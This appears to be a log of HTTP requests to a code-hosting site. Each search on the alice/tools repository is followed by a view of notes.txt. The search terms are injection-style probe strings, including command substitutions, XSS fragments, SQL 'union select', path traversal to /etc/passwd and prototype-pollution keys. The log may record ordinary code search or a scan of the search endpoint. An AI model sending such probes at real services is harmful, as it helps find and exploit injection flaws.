{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
